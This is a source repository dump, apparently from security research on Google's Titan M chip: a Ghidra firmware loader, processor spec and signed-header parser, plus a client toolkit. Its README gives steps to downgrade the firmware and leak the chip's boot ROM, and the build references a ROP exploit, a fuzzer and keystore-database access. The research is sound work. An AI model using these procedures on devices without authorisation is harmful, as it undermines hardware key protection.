| 22 | 23 | 24 | -------------------------------------------------------------------------------- /citadelimgloader/data/languages/skel.sinc: -------------------------------------------------------------------------------- 1 | # sleigh include file for Skeleton language instructions 2 | 3 | define token opbyte (8) 4 | op0_8 = (0,7) 5 | op6_2 = (6,7) 6 | 7 | dRegPair4_2 = (4,5) 8 | pRegPair4_2 = (4,5) 9 | sRegPair4_2 = (4,5) 10 | qRegPair4_2 = (4,5) 11 | qRegPair4_2a = (4,5) 12 | qRegPair4_2b = (4,5) 13 | rRegPair4_2 = (4,5) 14 | 15 | reg3_3 = (3,5) 16 | bits3_3 = (3,5) 17 | 18 | bits0_4 = (0,3) 19 | 20 | reg0_3 = (0,2) 21 | bits0_3 = (0,2) 22 | ; 23 | 24 | define token data8 (8) 25 | imm8 = (0,7) 26 | sign8 = (7,7) 27 | simm8 = (0,7) signed 28 | ; 29 | 30 | define token data16 (16) 31 | timm4 = (12,15) 32 | imm16 = (0,15) 33 | sign16 = (15,15) 34 | simm16 = (0,15) signed 35 | ; 36 | 37 | attach variables [ reg0_3 reg3_3 ] [ B C D E H L _ A ]; 38 | 39 | attach variables [ sRegPair4_2 dRegPair4_2 ] [ BC DE HL SP ]; 40 | 41 | attach variables [ qRegPair4_2 ] [ BC DE HL AF ]; 42 | attach variables [ qRegPair4_2a ] [ B D H A ]; 43 | attach variables [ qRegPair4_2b ] [ C E L F ]; 44 | 45 | attach variables [ pRegPair4_2 ] [ BC DE IX SP ]; 46 | attach variables [ rRegPair4_2 ] [ BC DE IY SP ]; 47 | 48 | ################################################################ 49 | # Macros 50 | ################################################################ 51 | 52 | macro setResultFlags(result) { 53 | $(Z_flag) = (result == 0); 54 | $(S_flag) = (result s< 0); 55 | } 56 | 57 | macro setAddCarryFlags(op1,op2) { 58 | $(C_flag) = (carry(op1,zext($(C_flag))) || carry(op2,op1 + zext($(C_flag)))); 59 | } 60 | 61 | macro setAddFlags(op1,op2) { 62 | $(C_flag) = carry(op1,op2); 63 | } 64 | 65 | macro setSubtractCarryFlags(op1,op2) { 66 | notC = ~$(C_flag); 67 | $(C_flag) = ((op1 < sext(notC)) || (op2 < (op1 - sext(notC)))); 68 | } 69 | 70 | macro setSubtractFlags(op1,op2) { 71 | $(C_flag) = (op1 < op2); 72 | } 73 | 74 | macro push16(val16) { 75 | SP = SP - 2; 76 | *:2 SP = val16; 77 | } 78 | 79 | macro pop16(ret16) { 80 | ret16 = *:2 SP; 81 | SP = SP + 2; 82 | } 83 | 84 | macro push8(val8) { 85 | SP = SP - 1; 86 | ptr:2 = SP; 87 | *:1 ptr = val8; 88 | } 89 | 90 | macro pop8(ret8) { 91 | ptr:2 = SP; 92 | ret8 = *:1 ptr; 93 | SP = SP + 1; 94 | } 95 | 96 | ################################################################ 97 | 98 | ixMem8: (IX+simm8) is IX & simm8 { ptr:2 = IX + simm8; export *:1 ptr; } 99 | ixMem8: (IX-val) is IX & simm8 & sign8=1 [ val = -simm8; ] { ptr:2 = IX + simm8; export *:1 ptr; } 100 | 101 | iyMem8: (IY+simm8) is IY & simm8 { ptr:2 = IY + simm8; export *:1 ptr; } 102 | iyMem8: (IY-val) is IY & simm8 & sign8=1 [ val = -simm8; ] { ptr:2 = IY + simm8; export *:1 ptr; } 103 | 104 | Addr16: imm16 is imm16 { export *:1 imm16; } 105 | 106 | Mem16: (imm16) is imm16 { export *:2 imm16; } 107 | 108 | RelAddr8: loc is simm8 [ loc = inst_next + simm8; ] { export *:1 loc; } 109 | 110 | cc: "NZ" is bits3_3=0x0 { c:1 = ($(Z_flag) == 0); export c; } 111 | cc: "Z" is bits3_3=0x1 { c:1 = $(Z_flag); export c; } 112 | cc: "NC" is bits3_3=0x2 { c:1 = ($(C_flag) == 0); export c; } 113 | cc: "C" is bits3_3=0x3 { c:1 = $(C_flag); export c; } 114 | cc: "PO" is bits3_3=0x4 { c:1 = ($(PV_flag) == 0); export c; } 115 | cc: "PE" is bits3_3=0x5 { c:1 = $(PV_flag); export c; } 116 | cc: "P" is bits3_3=0x6 { c:1 = ($(S_flag) == 0); export c; } 117 | cc: "M" is bits3_3=0x7 { c:1 = $(S_flag); export c; } 118 | 119 | cc2: "NZ" is bits3_3=0x4 { c:1 = ($(Z_flag) == 0); export c; } 120 | cc2: "Z" is bits3_3=0x5 { c:1 = $(Z_flag); export c; } 121 | cc2: "NC" is bits3_3=0x6 { c:1 = ($(C_flag) == 0); export c; } 122 | cc2: "C" is bits3_3=0x7 { c:1 = $(C_flag); export c; } 123 | 124 | ################################################################ 125 | 126 | 127 | :LD IX,Mem16 is op0_8=0xdd & IX; op0_8=0x2a; Mem16 { 128 | IX = Mem16; 129 | } 130 | 131 | :LD IY,Mem16 is op0_8=0xfd & IY; op0_8=0x2a; Mem16 { 132 | IY = Mem16; 133 | } 134 | 135 | :LD Mem16,HL is op0_8=0x22 & HL; Mem16 { 136 | Mem16 = HL; 137 | } 138 | 139 | :LD Mem16,dRegPair4_2 is op0_8=0xed; op6_2=0x1 & dRegPair4_2 & bits0_4=0x3; Mem16 { 140 | Mem16 = dRegPair4_2; 141 | } 142 | 143 | :LD Mem16,IX is op0_8=0xdd & IX; op0_8=0x22; Mem16 { 144 | Mem16 = IX; 145 | } 146 | 147 | :LD Mem16,IY is op0_8=0xfd & IY; op0_8=0x22; Mem16 { 148 | Mem16 = IY; 149 | } 150 | 151 | :NEG is op0_8=0xed; op0_8=0x44 { 152 | $(PV_flag) = (A == 0x80); 153 | $(C_flag) = (A != 0); 154 | A = -A; 155 | setResultFlags(A); 156 | } 157 | 158 | :SET bits3_3,ixMem8 is op0_8=0xdd; op0_8=0xcb; ixMem8; op6_2=0x3 & bits3_3 & bits0_3=0x6 { 159 | mask:1 = (1 << bits3_3); 160 | val:1 = ixMem8; 161 | ixMem8 = val | mask; 162 | } 163 | 164 | :SET bits3_3,iyMem8 is op0_8=0xfd; op0_8=0xcb; iyMem8; op6_2=0x3 & bits3_3 & bits0_3=0x6 { 165 | mask:1 = (1 << bits3_3); 166 | val:1 = iyMem8; 167 | iyMem8 = val | mask; 168 | } 169 | 170 | :JP Addr16 is op0_8=0xc3; Addr16 { 171 | goto Addr16; 172 | } 173 | 174 | :JP cc,Addr16 is op6_2=0x3 & cc & bits0_3=0x2; Addr16 { 175 | if (!cc) goto Addr16; 176 | } 177 | 178 | :JR RelAddr8 is op0_8=0x18; RelAddr8 { 179 | goto RelAddr8; 180 | } 181 | 182 | :JR cc2,RelAddr8 is op6_2=0x0 & cc2 & bits0_3=0x0; RelAddr8 { 183 | if (cc2) goto RelAddr8; 184 | } 185 | 186 | :JP (HL) is op0_8=0xe9 & HL { 187 | goto [HL]; 188 | } 189 | 190 | :JP (IX) is op0_8=0xdd & IX; op0_8=0xe9 { 191 | goto [IX]; 192 | } 193 | 194 | :JP (IY) is op0_8=0xfd & IY; op0_8=0xe9 { 195 | goto [IY]; 196 | } 197 | 198 | :CALL Addr16 is op0_8=0xcd; Addr16 { 199 | push16(&:2 inst_next); 200 | call Addr16; 201 | } 202 | 203 | :CALL cc,Addr16 is op6_2=0x3 & cc & bits0_3=0x4; Addr16 { 204 | if (!cc) goto inst_next; 205 | push16(&:2 inst_next); 206 | call Addr16; 207 | } 208 | 209 | :RET is op0_8=0xc9 { 210 | pop16(PC); 211 | ptr:2 = zext(PC); 212 | return [ptr]; 213 | } 214 | 215 | :RET cc is op6_2=0x3 & cc & bits0_3=0x0 { 216 | if (!cc) goto inst_next; 217 | pop16(PC); 218 | ptr:2 = zext(PC); 219 | return [ptr]; 220 | } 221 | -------------------------------------------------------------------------------- /citadelimgloader/data/languages/skel.slaspec: -------------------------------------------------------------------------------- 1 | # sleigh specification file for Skeleton Processor 2 | # >> see docs/languages/sleigh.htm or sleigh.pdf for Sleigh syntax 3 | # Other language modules (see Ghidra/Processors) may provide better examples 4 | # when creating a new language module. 5 | 6 | define endian=little; 7 | define alignment=1; 8 | 9 | define space ram type=ram_space size=2 default; 10 | 11 | define space io type=ram_space size=2; 12 | define space register type=register_space size=1; 13 | 14 | define register offset=0x00 size=1 [ F A C B E D L H I R ]; 15 | define register offset=0x00 size=2 [ AF BC DE HL ]; 16 | define register offset=0x20 size=1 [ A_ F_ B_ C_ D_ E_ H_ L_ ]; # Alternate registers 17 | define register offset=0x20 size=2 [ AF_ BC_ DE_ HL_ ]; # Alternate registers 18 | 19 | define register offset=0x40 size=2 [ _ PC SP IX IY ]; 20 | 21 | define register offset=0x50 size=1 [ rCBAR rCBR rBBR ]; 22 | 23 | # Define context bits (if defined, size must be multiple of 4-bytes) 24 | define register offset=0xf0 size=4 contextreg; 25 | 26 | define context contextreg 27 | assume8bitIOSpace = (0,0) 28 | ; 29 | 30 | # Flag bits (?? manual is very confusing - could be typos!) 31 | @define C_flag "F[0,1]" # C: Carry 32 | @define N_flag "F[1,1]" # N: Add/Subtract 33 | @define PV_flag "F[2,1]" # PV: Parity/Overflow 34 | @define H_flag "F[4,1]" # H: Half Carry 35 | @define Z_flag "F[6,1]" # Z: Zero 36 | @define S_flag "F[7,1]" # S: Sign 37 | 38 | # Include contents of skel.sinc file 39 | @include "skel.sinc" 40 | -------------------------------------------------------------------------------- /citadelimgloader/data/sleighArgs.txt: -------------------------------------------------------------------------------- 1 | # Add sleigh compiler options to this file (one per line) which will 2 | # be used when compiling each language within this module. 3 | # All options should start with a '-' character. 4 | # 5 | # IMPORTANT: The -a option should NOT be specified 6 | # -------------------------------------------------------------------------------- /citadelimgloader/extension.properties: -------------------------------------------------------------------------------- 1 | name=@extname@ 2 | description=Ghidra loader for Titan M firmwares 3 | author= 4 | createdOn= 5 | version=@extversion@ 6 | -------------------------------------------------------------------------------- /citadelimgloader/ghidra-screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quarkslab/titanm/7b6c2524600185a819b3f7b0113f258bcf0ff36a/citadelimgloader/ghidra-screen.png -------------------------------------------------------------------------------- /citadelimgloader/ghidra_scripts/README.txt: -------------------------------------------------------------------------------- 1 | Java source directory to hold module-specific Ghidra scripts. 2 | -------------------------------------------------------------------------------- /citadelimgloader/lib/README.txt: -------------------------------------------------------------------------------- 1 | The "lib" directory is intended to hold Jar files which this module 2 | is dependent upon. This directory may be eliminated from a specific 3 | module if no other Jar files are needed. 4 | -------------------------------------------------------------------------------- /citadelimgloader/os/linux64/README.txt: -------------------------------------------------------------------------------- 1 | The "os/linux64" directory is intended to hold Linux native binaries 2 | which this module is dependent upon. This directory may be eliminated for a specific 3 | module if native binaries are not provided for the corresponding platform. 4 | -------------------------------------------------------------------------------- /citadelimgloader/os/osx64/README.txt: -------------------------------------------------------------------------------- 1 | The "os/osx64" directory is intended to hold macOS (OS X) native binaries 2 | which this module is dependent upon. This directory may be eliminated for a specific 3 | module if native binaries are not provided for the corresponding platform. 4 | -------------------------------------------------------------------------------- /citadelimgloader/os/win64/README.txt: -------------------------------------------------------------------------------- 1 | The "os/win64" directory is intended to hold MS Windows native binaries (.exe) 2 | which this module is dependent upon. This directory may be eliminated for a specific 3 | module if native binaries are not provided for the corresponding platform. 4 | -------------------------------------------------------------------------------- /citadelimgloader/src/main/help/help/TOC_Source.xml: -------------------------------------------------------------------------------- 1 | 2 | 49 | 50 | 51 | 52 | 57 | 58 | -------------------------------------------------------------------------------- /citadelimgloader/src/main/help/help/shared/Frontpage.css: -------------------------------------------------------------------------------- 1 | /* ### 2 | * IP: GHIDRA 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | /* 17 | WARNING! 18 | This file is copied to all help directories. If you change this file, you must copy it 19 | to each src/main/help/help/shared directory. 20 | 21 | 22 | Java Help Note: JavaHelp does not accept sizes (like in 'margin-top') in anything but 23 | px (pixel) or with no type marking. 24 | 25 | */ 26 | 27 | body { margin-bottom: 50px; margin-left: 10px; margin-right: 10px; margin-top: 10px; } /* some padding to improve readability */ 28 | li { font-family:times new roman; font-size:14pt; } 29 | h1 { color:#000080; font-family:times new roman; font-size:36pt; font-style:italic; font-weight:bold; text-align:center; } 30 | h2 { margin: 10px; margin-top: 20px; color:#984c4c; font-family:times new roman; font-size:18pt; font-weight:bold; } 31 | h3 { margin-left: 10px; margin-top: 20px; color:#0000ff; font-family:times new roman; font-size:14pt; font-weight:bold; } 32 | h4 { margin-left: 10px; margin-top: 20px; font-family:times new roman; font-size:14pt; font-style:italic; } 33 | 34 | /* 35 | P tag code. Most of the help files nest P tags inside of blockquote tags (the was the 36 | way it had been done in the beginning). The net effect is that the text is indented. In 37 | modern HTML we would use CSS to do this. We need to support the Ghidra P tags, nested in 38 | blockquote tags, as well as naked P tags. The following two lines accomplish this. Note 39 | that the 'blockquote p' definition will inherit from the first 'p' definition. 40 | */ 41 | p { margin-left: 40px; font-family:times new roman; font-size:14pt; } 42 | blockquote p { margin-left: 10px; } 43 | 44 | p.providedbyplugin { color:#7f7f7f; margin-left: 10px; font-size:14pt; margin-top:100px } 45 | p.ProvidedByPlugin { color:#7f7f7f; margin-left: 10px; font-size:14pt; margin-top:100px } 46 | p.relatedtopic { color:#800080; margin-left: 10px; font-size:14pt; } 47 | p.RelatedTopic { color:#800080; margin-left: 10px; font-size:14pt; } 48 | 49 | /* 50 | We wish for a tables to have space between it and the preceding element, so that text 51 | is not too close to the top of the table. Also, nest the table a bit so that it is clear 52 | the table relates to the preceding text. 53 | */ 54 | table { margin-left: 20px; margin-top: 10px; width: 80%;} 55 | td { font-family:times new roman; font-size:14pt; vertical-align: top; } 56 | th { font-family:times new roman; font-size:14pt; font-weight:bold; background-color: #EDF3FE; } 57 | 58 | code { color: black; font-family: courier new; font-size: 14pt; } 59 | -------------------------------------------------------------------------------- /citadelimgloader/src/main/help/help/topics/citadelimgloader/help.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 9 | 10 | 11 | 12 | Skeleton Help File for a Module 13 | 14 | 15 | 16 | 17 |

Skeleton Help File for a Module

18 | 19 |

This is a simple skeleton help topic. For a better description of what should and should not 20 | go in here, see the "sample" Ghidra extension in the Extensions/Ghidra directory, or see your 21 | favorite help topic. In general, language modules do not have their own help topics.

22 | 23 | 24 | -------------------------------------------------------------------------------- /citadelimgloader/src/main/java/citadelimgloader/SignedHeader.java: -------------------------------------------------------------------------------- 1 | package citadelimgloader; 2 | 3 | import java.io.IOException; 4 | 5 | import ghidra.app.util.bin.BinaryReader; 6 | import ghidra.app.util.bin.StructConverter; 7 | import ghidra.program.flatapi.FlatProgramAPI; 8 | import ghidra.program.model.data.ArrayDataType; 9 | import ghidra.program.model.data.DataType; 10 | import ghidra.program.model.data.Structure; 11 | import ghidra.program.model.data.StructureDataType; 12 | import ghidra.util.exception.DuplicateNameException; 13 | 14 | public class SignedHeader implements StructConverter { 15 | 16 | public static final int FUSE_MAX = 128; 17 | public static final int FUSAMAP_SIZE = FUSE_MAX / (8); // bytes 18 | public static final int INFO_MAX = 128; 19 | public static final int INFOMAP_SIZE = INFO_MAX / (8); // bytes 20 | public static final int SIGNATURE_SIZE = 96 * 4; // in bytes 21 | public static final int TAG_SIZE = 7 * 4; // in bytes 22 | public static final int KEY_SIZE = 96 * 4; // in bytes 23 | public static final int S_SIZE = 8 * 4; // in bytes 24 | public static final int R_SIZE = 8 * 4; // in bytes 25 | public static final int PAD_SIZE = 27*4 - R_SIZE - S_SIZE - 4; 26 | 27 | public long magic; 28 | public byte signature[]; 29 | public long img_chk; 30 | public byte[] tag; 31 | public long keyid; 32 | public byte[] key; 33 | public long image_size; 34 | public long ro_base; 35 | public long ro_max; 36 | public long rx_base; 37 | public long rx_max; 38 | public byte fusemap[]; 39 | public byte infomap[]; 40 | public long epoch; 41 | public long major; 42 | public long minor; 43 | public long timestamp; 44 | public long p4cl; 45 | public long applysec; 46 | public long config1; 47 | public long err_response; 48 | public long expect_response; 49 | public long keyid2; 50 | public byte r[]; 51 | public byte s[]; 52 | public byte pad[]; 53 | public long dev_id0; 54 | public long dev_id1; 55 | public long fuses_chk; 56 | public long info_chk; 57 | 58 | public SignedHeader(FlatProgramAPI api, BinaryReader reader) throws IOException { 59 | magic = reader.readNextUnsignedInt(); 60 | signature = reader.readNextByteArray(SIGNATURE_SIZE); 61 | img_chk = reader.readNextUnsignedInt(); 62 | tag = reader.readNextByteArray(TAG_SIZE); 63 | keyid = reader.readNextUnsignedInt(); 64 | key = reader.readNextByteArray(KEY_SIZE); 65 | image_size = reader.readNextUnsignedInt(); 66 | ro_base = reader.readNextUnsignedInt(); 67 | ro_max = reader.readNextUnsignedInt(); 68 | rx_base = reader.readNextUnsignedInt(); 69 | rx_max = reader.readNextUnsignedInt(); 70 | fusemap = reader.readNextByteArray(FUSAMAP_SIZE); 71 | infomap = reader.readNextByteArray(INFOMAP_SIZE); 72 | epoch = reader.readNextUnsignedInt(); 73 | major = reader.readNextUnsignedInt(); 74 | minor = reader.readNextUnsignedInt(); 75 | timestamp = reader.readNextLongArray(1)[0]; 76 | p4cl = reader.readNextUnsignedInt(); 77 | applysec = reader.readNextUnsignedInt(); 78 | config1 = reader.readNextUnsignedInt(); 79 | err_response = reader.readNextUnsignedInt(); 80 | expect_response = reader.readNextUnsignedInt(); 81 | keyid2 = reader.readNextUnsignedInt(); 82 | r = reader.readNextByteArray(R_SIZE); 83 | s = reader.readNextByteArray(S_SIZE); 84 | pad = reader.readNextByteArray(PAD_SIZE); 85 | dev_id0 = reader.readNextUnsignedInt(); 86 | dev_id1 = reader.readNextUnsignedInt(); 87 | fuses_chk = reader.readNextUnsignedInt(); 88 | info_chk = reader.readNextUnsignedInt(); 89 | } 90 | 91 | @Override 92 | public DataType toDataType() throws DuplicateNameException, IOException { 93 | Structure struct = new StructureDataType("SignedHeader", 0); 94 | struct.add(DWORD, 4, "magic", null); 95 | struct.add(new ArrayDataType(BYTE, SIGNATURE_SIZE, 1), "signature", null); 96 | struct.add(DWORD, 4, "img_chk", null); 97 | struct.add(new ArrayDataType(BYTE, TAG_SIZE, 1), "tag", null); 98 | struct.add(DWORD, 4, "keyid", null); 99 | struct.add(new ArrayDataType(BYTE, KEY_SIZE, 1), "key", null); 100 | struct.add(DWORD, 4, "image_size", null); 101 | struct.add(DWORD, 4, "ro_base", null); 102 | struct.add(DWORD, 4, "ro_max", null); 103 | struct.add(DWORD, 4, "rx_base", null); 104 | struct.add(DWORD, 4, "rx_max", null); 105 | struct.add(new ArrayDataType(BYTE, FUSAMAP_SIZE, 1), "fusemap", null); 106 | struct.add(new ArrayDataType(BYTE, INFOMAP_SIZE, 1), "infomap", null); 107 | struct.add(DWORD, 4, "epoch", null); 108 | struct.add(DWORD, 4, "major", null); 109 | struct.add(DWORD, 4, "minor", null); 110 | struct.add(DWORD, 8, "timestamp", null); 111 | struct.add(DWORD, 4, "p4cl", null); 112 | struct.add(DWORD, 4, "applysec", null); 113 | struct.add(DWORD, 4, "config1", null); 114 | struct.add(DWORD, 4, "err_response", null); 115 | struct.add(DWORD, 4, "expect_response", null); 116 | struct.add(DWORD, 4, "keyid2", null); 117 | struct.add(new ArrayDataType(BYTE, R_SIZE, 1), "r", null); 118 | struct.add(new ArrayDataType(BYTE, S_SIZE, 1), "s", null); 119 | struct.add(new ArrayDataType(BYTE, PAD_SIZE, 1), "pad", null); 120 | struct.add(DWORD, 4, "dev_id0", null); 121 | struct.add(DWORD, 4, "dev_id1", null); 122 | struct.add(DWORD, 4, "fuses_chk", null); 123 | struct.add(DWORD, 4, "info_chk", null); 124 | 125 | return struct; 126 | } 127 | 128 | } 129 | -------------------------------------------------------------------------------- /citadelimgloader/src/main/resources/images/README.txt: -------------------------------------------------------------------------------- 1 | The "src/resources/images" directory is intended to hold all image/icon files used by 2 | this module. 3 | -------------------------------------------------------------------------------- /citadelimgloader/src/test/java/README.test.txt: -------------------------------------------------------------------------------- 1 | The "test" directory is intended to hold unit test cases. The package structure within 2 | this folder should correspond to that found in the "src" folder. 3 | -------------------------------------------------------------------------------- /nugget_toolkit/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.10) 2 | project(nos_parser) 3 | 4 | 5 | #if(EARLY_BUILD) 6 | # add_subdirectory(external/protobuf) 7 | # 8 | # return() 9 | #endif() 10 | 11 | set(CMAKE_CXX_STANDARD 17) 12 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 13 | set(CMAKE_CXX_EXTENSIONS OFF) 14 | 15 | # Protobuf build 16 | add_subdirectory(external) 17 | 18 | set(Protobuf_USE_STATIC_LIBS ON) 19 | 20 | set(nos_proto_dir "external/libnos_protobuf_cpp") 21 | 22 | file(GLOB_RECURSE nos_proto_SRC 23 | "${nos_proto_dir}/*.cc") 24 | 25 | file(GLOB_RECURSE nos_proto_HDR 26 | "${nos_proto_dir}/*.h") 27 | 28 | file(GLOB_RECURSE nos_type_src "nostypes/*.h" "nostypes/*.cpp") 29 | 30 | set(libnos_include_dirs 31 | external/libnos/libnos/include 32 | external/libnos/libnos_datagram/include 33 | external/libnos/libnos_transport/include) 34 | 35 | # Headers for keystore v2 usage 36 | set(keymint_include_dir external/keymint/) 37 | 38 | # Build NosTypes library 39 | add_library (nostypes STATIC ${nos_type_src} ${nos_proto_SRC} ${nos_proto_HDR} jni/include ${libnos_include_dirs}) 40 | 41 | TARGET_LINK_LIBRARIES(nostypes protobuf) 42 | 43 | target_include_directories (nostypes PUBLIC ${CMAKE_CURRENT_SOURCE_DIR} ${nos_proto_dir} jni/ nostypes/ ${libnos_include_dirs}) 44 | 45 | # Build parser library 46 | 47 | add_library (parser SHARED parser/parser.cpp ${nos_type_src} ${nos_proto_SRC} ${nos_proto_HDR} jni/include) 48 | TARGET_LINK_LIBRARIES(parser protobuf nostypes) 49 | target_include_directories (parser PUBLIC ${PROTOBUF_ROOT}/include ${CMAKE_CURRENT_SOURCE_DIR} ${nos_proto_dir} jni/ nostypes/) 50 | 51 | # Build client binary 52 | if(${CMAKE_SYSTEM_NAME} STREQUAL "Android") # client is only built for Android (for now) 53 | 54 | # Sqlite3 55 | set(sqlite3_dir external/sqlite/dist/) 56 | 57 | # Build nosclient 58 | 59 | add_executable (nosclient client/nosclient.cpp ${nos_type_src} ${nos_proto_SRC} ${nos_proto_HDR} nostypes/nostypes.h ${libnos_include_dirs} exploits/rop.cpp client/utils.cpp client/keyblob_utils.cpp fuzzer/fuzz.cpp fuzzer/libradamsa.c) 60 | 61 | target_include_directories (nosclient PUBLIC ${CMAKE_CURRENT_SOURCE_DIR} ${nos_proto_dir} jni/include nostypes/ external/libnos/nugget/include ${libnos_include_dirs} client fuzzer exploits external/libprotobuf-mutator ${keymint_include_dir} ${sqlite3_dir}) 62 | # target_compile_options(nosclient PUBLIC -fsanitize=address -fno-omit-frame-pointer) 63 | # set_target_properties(nosclient PROPERTIES LINK_FLAGS -fsanitize=address) 64 | 65 | TARGET_LINK_LIBRARIES(nosclient android log protobuf nostypes nos nos_datagram nos_transport pm sqlite) 66 | 67 | endif() 68 | -------------------------------------------------------------------------------- /nugget_toolkit/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:10 2 | 3 | ENV ANDROID_NDK_HOME /opt/android-ndk 4 | ENV NDK_ROOT /opt/android-ndk 5 | ENV ANDROID_NDK_VERSION r21e 6 | 7 | RUN apt-get update -yq \ 8 | && apt-get install -yq wget unzip 9 | 10 | # ------------------------------------------------------ 11 | # --- Android NDK 12 | 13 | # download 14 | RUN mkdir /opt/android-ndk-tmp && \ 15 | cd /opt/android-ndk-tmp && \ 16 | wget -q https://dl.google.com/android/repository/android-ndk-${ANDROID_NDK_VERSION}-linux-x86_64.zip && \ 17 | # uncompress 18 | unzip -q android-ndk-${ANDROID_NDK_VERSION}-linux-x86_64.zip && \ 19 | # move to its final location 20 | mv ./android-ndk-${ANDROID_NDK_VERSION} ${ANDROID_NDK_HOME} && \ 21 | # remove temp dir 22 | cd ${ANDROID_NDK_HOME} && \ 23 | rm -rf /opt/android-ndk-tmp 24 | 25 | # add to PATH 26 | ENV PATH ${PATH}:${ANDROID_NDK_HOME} 27 | 28 | # ------------------------------------------------------ 29 | # --- Other dependencies 30 | 31 | RUN apt-get install -yq clang cmake make \ 32 | && apt-get install -yq zlib1g-dev \ 33 | && apt-get clean 34 | 35 | COPY . /nostoolkit 36 | 37 | WORKDIR /nostoolkit 38 | 39 | CMD bash /nostoolkit/buildAll.sh 40 | -------------------------------------------------------------------------------- /nugget_toolkit/README.md: -------------------------------------------------------------------------------- 1 | # Nos client 2 | ## Build instructions 3 | 4 | ### Android 5 | 6 | ```bash 7 | $ export NDK_ROOT=path_to_ndk 8 | $ mkdir out 9 | $ cd out 10 | $ cmake -DCMAKE_TOOLCHAIN_FILE=$NDK_ROOT/build/cmake/android.toolchain.cmake -DCMAKE_SYSTEM_NAME=Android -DCMAKE_ANDROID_NDK=$NDK_ROOT -DCMAKE_ANDROID_ARCH_ABI=arm64-v8a -DANDROID_ABI=arm64-v8a -DANDROID_NATIVE_API_LEVEL=android-26 -DCMAKE_ANDROID_STL_TYPE=c++_static -DCMAKE_ANDROID_NDK_TOOLCHAIN_VERSION=clang -DCMAKE_FIND_ROOT_PATH="$NDK_ROOT/sysroot" -DCMAKE_SYSROOT_COMPILE=$NDK_ROOT/toolchains/llvm/prebuilt/linux-x86_64/sysroot -DCMAKE_NO_SYSTEM_FROM_IMPORTED=1 .. 11 | $ make -j8 12 | ``` 13 | 14 | ### Linux 15 | 16 | ```bash 17 | $ mkdir out 18 | $ cd out 19 | $ cmake .. 20 | $ make -j8 21 | ``` 22 | 23 | ### Using Docker 24 | 25 | ```bash 26 | $ docker build . -t nosclient 27 | $ mkdir out 28 | $ docker run -v $PWD/out:/out --rm nosclient 29 | ``` 30 | 31 | ## Usage 32 | 33 | ### Running the client 34 | 35 | ```bash 36 | $ adb push nosclient /data/local/tmp/ 37 | $ adb shell 38 | # cd /data/local/tmp/ 39 | # chmod 777 nosclient 40 | # ./nosclient # to print usage 41 | ``` 42 | 43 | ### Leaking Titan M boot ROM 44 | 45 | First, downgrade the firmware to `ec_2020-09-25.bin` using SPI rescue feature. 46 | 47 | ```bash 48 | $ adb push {out/android/nosclient,scripts/leak.sh} /data/local/tmp/ 49 | $ adb shell 50 | # cd /data/local/tmp/ 51 | # chmod 777 nosclient 52 | # sh leak.sh brom 53 | ``` 54 | 55 | ### Parse sigrok SPI traces 56 | 57 | ```bash 58 | $ cd scripts 59 | $ LD_PRELOAD=../out/libparser.so python parse_signrok-csv.py spi-trace.csv 60 | ``` 61 | -------------------------------------------------------------------------------- /nugget_toolkit/buildAll.sh: -------------------------------------------------------------------------------- 1 | #!/bin.sh 2 | 3 | BUILDIR="${PWD}/build" 4 | OUTDIR="/out" 5 | 6 | if ! [[ -d "$OUTDIR" ]] 7 | then 8 | echo "$OUTDIR not present" 9 | mkdir $OUTDIR 10 | fi 11 | 12 | mkdir $BUILDIR 13 | 14 | # Build Android library 15 | mkdir $OUTDIR/android 16 | 17 | cd $BUILDIR 18 | rm -rf * # Clean build dir 19 | 20 | echo "Building Android client" 21 | cmake -DCMAKE_TOOLCHAIN_FILE=$NDK_ROOT/build/cmake/android.toolchain.cmake -DCMAKE_SYSTEM_NAME=Android -DCMAKE_ANDROID_NDK=$NDK_ROOT -DCMAKE_ANDROID_ARCH_ABI=arm64-v8a -DANDROID_ABI=arm64-v8a -DANDROID_NATIVE_API_LEVEL=android-26 -DCMAKE_ANDROID_STL_TYPE=c++_static -DCMAKE_ANDROID_NDK_TOOLCHAIN_VERSION=clang -DCMAKE_FIND_ROOT_PATH="$NDK_ROOT/sysroot" -DCMAKE_SYSROOT_COMPILE=$NDK_ROOT/toolchains/llvm/prebuilt/linux-x86_64/sysroot -DCMAKE_NO_SYSTEM_FROM_IMPORTED=1 .. 22 | make -j8 \ 23 | && cp nosclient libparser.so $OUTDIR/android/ \ 24 | || echo "Error while building Android client" 25 | 26 | # Build Linux library 27 | mkdir $OUTDIR/linux 28 | 29 | rm -rf * # Clean build dir 30 | 31 | echo "Building Linux client" 32 | cmake .. 33 | make -j8 \ 34 | && cp libparser.so $OUTDIR/linux/ \ 35 | || echo "Error while building Android client" 36 | 37 | -------------------------------------------------------------------------------- /nugget_toolkit/client/keyblob_utils.cpp: -------------------------------------------------------------------------------- 1 | #include "keyblob_utils.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | #include "nugget/app/keymaster/keymaster_defs.pb.h" 14 | #include "utils.h" 15 | 16 | using namespace std; 17 | using namespace ::nugget::app; 18 | 19 | KeyblobUtils::KeyblobUtils(const char *db_name) { 20 | sqlite3_open(db_name, &db); 21 | 22 | if (db == NULL) { 23 | cerr << "Failed to open DB" << endl; 24 | exit(1); 25 | } 26 | } 27 | 28 | KeyblobUtils::KeyblobUtils() : KeyblobUtils(KEYSTOREDB_PATH) {} 29 | 30 | KeyblobUtils::~KeyblobUtils() { sqlite3_close(db); } 31 | 32 | // Return size in bits 33 | int64_t KeyblobUtils::getKeySizeFromDB(int64_t keyid) { 34 | int64_t size; 35 | sqlite3_stmt *stmt; 36 | 37 | std::string query = "select data from keyparameter where keyentryid == ? and tag == ?;"; 38 | 39 | sqlite3_prepare_v2(db, query.c_str(), -1, &stmt, NULL); 40 | sqlite3_bind_int64(stmt, 1, (sqlite3_int64) keyid); 41 | 